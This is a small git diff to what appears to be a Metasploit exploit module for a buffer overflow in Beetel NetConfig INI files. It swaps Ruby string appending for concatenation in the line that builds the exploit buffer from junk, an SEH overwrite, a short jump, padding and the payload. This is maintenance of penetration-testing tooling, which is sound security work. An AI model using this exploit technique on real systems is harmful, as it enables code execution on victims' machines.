diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
index bc24157d7b..ad494d7be5 100644
--- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
+++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
@@ -70,6 +70,6 @@ class MetasploitModule < Msf::Exploit
     jump = Rex::Arch::X86.jmp_short(66)
     padding = rand_text(66) # Pad past buffer corruption
 
-    junk << seh << jump << padding << payload.encoded
+    junk + seh + jump + padding + payload.encoded
   end
 end